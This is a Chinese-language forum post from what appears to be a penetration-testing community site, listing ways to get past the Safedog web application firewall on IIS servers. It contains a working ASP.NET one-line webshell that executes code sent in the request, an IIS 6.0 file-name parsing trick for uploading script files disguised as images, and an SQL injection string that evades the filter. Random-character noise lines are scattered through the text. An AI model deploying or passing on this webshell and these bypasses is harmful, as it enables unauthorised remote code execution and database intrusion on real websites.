中国网络渗透测试联盟
标题:
突破安全狗防注入及上传的一些思路
[打印本页]
作者:
admin
时间:
2012-10-31 08:25
标题:
突破安全狗防注入及上传的一些思路
1、绕过IIS安全狗的一句话。
* [7 I) {* G( o. X) e
前几天测试一个网站。找到突破口之后，写入webshell，但服务器上装有IIS安全狗，平时常用的一句话或者shell都用不了。下面这段.net一句话可以突破。
. m3 _- v! p/ T4 n1 [1 w0 |2 z/ c4 k
<%@ Page Language="C#" ValidateRequest="false" %> <%try{System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["admin163.net"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null,null); } catch { }%>连接端用cncert的aspx一句话客户端。
3 j) ^! p, Q* U9 B6 D+ P( V x# ~
! v# R* H8 @& J% f5 j9 r
2、IIS6.0解析漏洞遇到安全狗。
5 J7 L) M3 c; P5 ^
文件名为
" k5 {! m4 q0 {+ I
http://www.xxxxx.com/sh3llc0de.asp;1.jpg
" K+ o! N6 `7 U' t: G7 z" c
! x T; }0 Z' v! o1 g3 }
这样的会被IIS安全狗果断屏蔽。
. f ?( U8 k4 o. w! @
改成如下名称,IIS6一样会解析：
# a; X0 `2 a% r9 Z
www.xxxxx.com/;1.asp;1.jpg
$ Y. k6 l" y% a7 @% V+ l. x' M
) {6 m; h( s6 K# J8 J
3、安全狗的注入绕过。
. W8 _8 h0 u1 k% H
常用的如r00ts.asp?id=1 and 1=1 是会被安全狗屏蔽的。
3 o3 g! ]$ |9 q# \* a8 m5 B8 y
但如果：
; x0 }; U) H W3 }! O |) Y7 J. [ m
r00ts.asp?r00ts.com=%00.&id=69%20 and 1=1
' X6 i+ K5 o& ^3 X5 a
就可以成功绕过了。
" ?9 k3 h- @/ k3 c8 H0 |0 q4 {
/ M4 s" L! \& e X* g0 C1 @
& _4 }) @ Q' V4 i* m8 Y- _
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2